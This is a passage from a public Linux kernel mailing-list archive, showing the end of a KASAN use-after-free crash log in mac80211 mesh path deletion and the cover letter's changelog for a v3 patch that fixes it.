[   40.283809]  ? __pfx___dev_queue_xmit (include/linux/netdevice.h:4038 (discriminator 1))
[   40.283813]  ? __pfx_csum_and_copy_from_iter_full (net/core/skbuff.c:6236 (discriminator 1))
[   40.283817]  ? sock_alloc_send_pskb (net/core/sock.c:3016)
[   40.283822]  ? ip_generic_getfrag (net/ipv4/ip_output.c:943)
[   40.283826]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   40.283830]  ip_finish_output2 (include/linux/netdevice.h:3446 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[   40.283834]  ? __ip_append_data (include/linux/skbuff.h:2333 (discriminator 2) include/linux/skbuff.h:2438 (discriminator 2) include/linux/skbuff.h:2471 (discriminator 2) net/ipv4/ip_output.c:1202 (discriminator 2))
[   40.283837]  ? __pfx_ip_finish_output2 (net/ipv4/ip_output.c:614)
[   40.283841]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   40.283845]  __ip_finish_output.part.0 (net/ipv4/ip_output.c:314)
[   40.283849]  ? __pfx___ip_finish_output.part.0 (net/ipv4/ip_output.c:595)
[   40.283853]  ? do_csum (lib/checksum.c:64)
[   40.283857]  ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[   40.283860]  ? __pfx_ip_output (net/ipv4/ip_output.c:278)
[   40.283864]  ? ip_make_skb (net/ipv4/ip_output.c:1580)
[   40.283868]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   40.283872]  ? __pfx_ip_make_skb (net/ipv4/ip_output.c:1546)
[   40.283876]  ip_send_skb (include/net/dst.h:470 (discriminator 6) net/ipv4/ip_output.c:131 (discriminator 6) net/ipv4/ip_output.c:1506 (discriminator 6))
[   40.283880]  udp_send_skb (net/ipv4/udp.c:1161 (discriminator 1))
[   40.283884]  udp_sendmsg (net/ipv4/udp.c:1443)
[   40.283887]  ? __pfx_udp_sendmsg (net/ipv4/udp.c:1221)
[   40.283891]  ? __pfx___css_rstat_updated (include/linux/srcutree.h:319 (discriminator 58))
[   40.283918]  ? vruntime_eligible (kernel/sched/fair.c:616 (discriminator 1) kernel/sched/fair.c:903 (discriminator 1))
[   40.283960]  ? pick_eevdf (kernel/sched/fair.c:941 kernel/sched/fair.c:1167)
[   40.283964]  ? timerqueue_linked_add (include/linux/rbtree.h:282 lib/timerqueue.c:96)
[   40.283968]  ? _raw_spin_unlock_irqrestore (include/linux/spinlock_api_smp.h:179 (discriminator 1) kernel/locking/spinlock.c:198 (discriminator 1))
[   40.283971]  ? inet_send_prepare (net/ipv4/af_inet.c:849 (discriminator 1))
[   40.283982]  __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[   40.284006]  ? __pfx___sys_sendto (net/socket.c:2206)
[   40.284012]  ? __pfx___schedule (kernel/sched/core.c:8146)
[   40.284022]  __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[   40.284026]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   40.284031]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   40.284034] RIP: 0033:0x7fd985c43494
[   40.284037] Code: 89 4c 24 1c e8 8d f8 ff ff 44 8b 54 24 1c 8b 3c 24 45 31 c9 89 c5 48 8b 54 24 10 48 8b 74 24 08 45 31 c0 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 34 89 ef 48 89 04 24 e8 b9 f8 ff ff 48 8b 04
All code
========
   0:	89 4c 24 1c          	mov    %ecx,0x1c(%rsp)
   4:	e8 8d f8 ff ff       	call   0xfffffffffffff896
   9:	44 8b 54 24 1c       	mov    0x1c(%rsp),%r10d
   e:	8b 3c 24             	mov    (%rsp),%edi
  11:	45 31 c9             	xor    %r9d,%r9d
  14:	89 c5                	mov    %eax,%ebp
  16:	48 8b 54 24 10       	mov    0x10(%rsp),%rdx
  1b:	48 8b 74 24 08       	mov    0x8(%rsp),%rsi
  20:	45 31 c0             	xor    %r8d,%r8d
  23:	b8 2c 00 00 00       	mov    $0x2c,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 34                	ja     0x66
  32:	89 ef                	mov    %ebp,%edi
  34:	48 89 04 24          	mov    %rax,(%rsp)
  38:	e8 b9 f8 ff ff       	call   0xfffffffffffff8f6
  3d:	48                   	rex.W
  3e:	8b                   	.byte 0x8b
  3f:	04                   	.byte 0x4

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 34                	ja     0x3c
   8:	89 ef                	mov    %ebp,%edi
   a:	48 89 04 24          	mov    %rax,(%rsp)
   e:	e8 b9 f8 ff ff       	call   0xfffffffffffff8cc
  13:	48                   	rex.W
  14:	8b                   	.byte 0x8b
  15:	04                   	.byte 0x4
[   40.284041] RSP: 002b:00007fd97fffee90 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[   40.284058] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007fd985c43494
[   40.284060] RDX: 0000000000000100 RSI: 00007fd96c000b60 RDI: 0000000000000006
[   40.284063] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[   40.284065] R10: 0000000000004000 R11: 0000000000000246 R12: 00007fd96c000b60
[   40.284067] R13: 0000000000000100 R14: 00007fd97fffefc0 R15: 0000000000802000
[   40.284071]  </TASK>
[   40.284072] 
[   40.347188] Allocated by task 510:
[   40.347727]  kasan_save_stack (mm/kasan/common.c:57)
[   40.348370]  kasan_save_track (mm/kasan/common.c:78)
[   40.348978]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[   40.349576]  __kmalloc_cache_noprof (include/linux/kasan.h:263 mm/slub.c:5515)
[   40.350289]  mesh_path_new.constprop.0 (include/linux/slab.h:969 include/linux/slab.h:1290 net/mac80211/mesh_pathtbl.c:408)
[   40.351023]  mesh_path_add (net/mac80211/mesh_pathtbl.c:696)
[   40.351645]  ieee80211_add_mpath (net/mac80211/cfg.c:2911)
[   40.352358]  nl80211_new_mpath (net/wireless/rdev-ops.h:255 net/wireless/nl80211.c:9795)
[   40.353001]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   40.353736]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   40.354416]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   40.354986]  genl_rcv (net/netlink/genetlink.c:1218)
[   40.355476]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   40.356094]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   40.356869]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   40.357511]  ___sys_sendmsg (net/socket.c:2738)
[   40.358186]  __sys_sendmsg (net/socket.c:2770)
[   40.358732]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   40.359277]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   40.360040] 
[   40.360296] Freed by task 12:
[   40.360758]  kasan_save_stack (mm/kasan/common.c:57)
[   40.361371]  kasan_save_track (mm/kasan/common.c:78)
[   40.362044]  kasan_save_free_info (mm/kasan/generic.c:584)
[   40.362824]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[   40.363403]  kmem_cache_free_bulk (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:2734 mm/slub.c:6439 mm/slub.c:7176 mm/slub.c:7155)
[   40.364070]  kvfree_rcu_bulk (include/linux/slab.h:891 mm/slab_common.c:1502)
[   40.364732]  kfree_rcu_work (mm/slab_common.c:1580)
[   40.365305]  process_one_work (kernel/workqueue.c:3322)
[   40.365913]  worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[   40.366689]  kthread (kernel/kthread.c:436)
[   40.367200]  ret_from_fork (arch/x86/kernel/process.c:158)
[   40.367784]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   40.368395] 
[   40.368700] Last potentially related work creation:
[   40.369461]  kasan_save_stack (mm/kasan/common.c:57)
[   40.370028]  kasan_record_aux_stack (mm/kasan/generic.c:556)
[   40.370782]  kvfree_call_rcu (mm/slab_common.c:1970)
[   40.371567]  mesh_path_del (net/mac80211/mesh_pathtbl.c:910 net/mac80211/mesh_pathtbl.c:931)
[   40.372226]  nl80211_del_mpath (net/wireless/rdev-ops.h:265 net/wireless/nl80211.c:9813)
[   40.372835]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   40.373540]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   40.374109]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   40.374744]  genl_rcv (net/netlink/genetlink.c:1218)
[   40.375233]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   40.375808]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   40.376467]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   40.377108]  ___sys_sendmsg (net/socket.c:2738)
[   40.377674]  __sys_sendmsg (net/socket.c:2770)
[   40.378214]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   40.378869]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   40.379593] 
[   40.379858] The buggy address belongs to the object at ffff88800d29ab00
[   40.379858]  which belongs to the cache kmalloc-256 of size 256
[   40.381678] The buggy address is located 184 bytes inside of
[   40.381678]  freed 256-byte region [ffff88800d29ab00, ffff88800d29ac00)
[   40.383451] 
[   40.383716] The buggy address belongs to the physical page:
[   40.384575] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88800d29b400 pfn:0xd298
[   40.385910] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   40.387028] flags: 0x100000000000240(workingset|head|node=0|zone=1)
[   40.388059] page_type: f5(slab)
[   40.388541] raw: 0100000000000240 ffff888001042dc0 ffffea000010bf10 ffffea00000f2c10
[   40.389682] raw: ffff88800d29b400 000000000015000e 00000000f5000000 0000000000000000
[   40.390789] head: 0100000000000240 ffff888001042dc0 ffffea000010bf10 ffffea00000f2c10
[   40.391949] head: ffff88800d29b400 000000000015000e 00000000f5000000 0000000000000000
[   40.393153] head: 0100000000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[   40.394259] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   40.395434] page dumped because: kasan: bad access detected
[   40.396325] 
[   40.396585] Memory state around the buggy address:
[   40.397340]  ffff88800d29aa80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   40.398376]  ffff88800d29ab00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   40.399510] >ffff88800d29ab80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   40.400580]                                         ^
[   40.401333]  ffff88800d29ac00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   40.402380]  ffff88800d29ac80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   40.403428] ==================================================================
[   40.404576] Kernel panic - not syncing: KASAN: panic_on_warn set ...
-----END crash log-----

Best regards,
Zihan Xi


changes in v3:
  - Use WRITE_ONCE() for both deletion-side MESH_PATH_DELETED updates
    to match the lockless READ_ONCE() checks.
  - v2 Link: https://lore.kernel.org/all/cover.1788930567.git.zihanx@nebusec.ai/
changes in v2:
  - Rewrite the commit message.
  - v1 Link: https://lore.kernel.org/all/94174303640c5e1022b31836770bad75f741afbf.1788845030.git.zihanx@nebusec.ai/

Zihan Xi (1):
  wifi: mac80211: fix mesh fast xmit path deletion UAF

 net/mac80211/mesh_pathtbl.c | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-09-18  5:27 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-18  5:26 [PATCH wireless v3 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF Zihan Xi
2026-09-18  5:26 ` [PATCH wireless v3 1/1] " Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®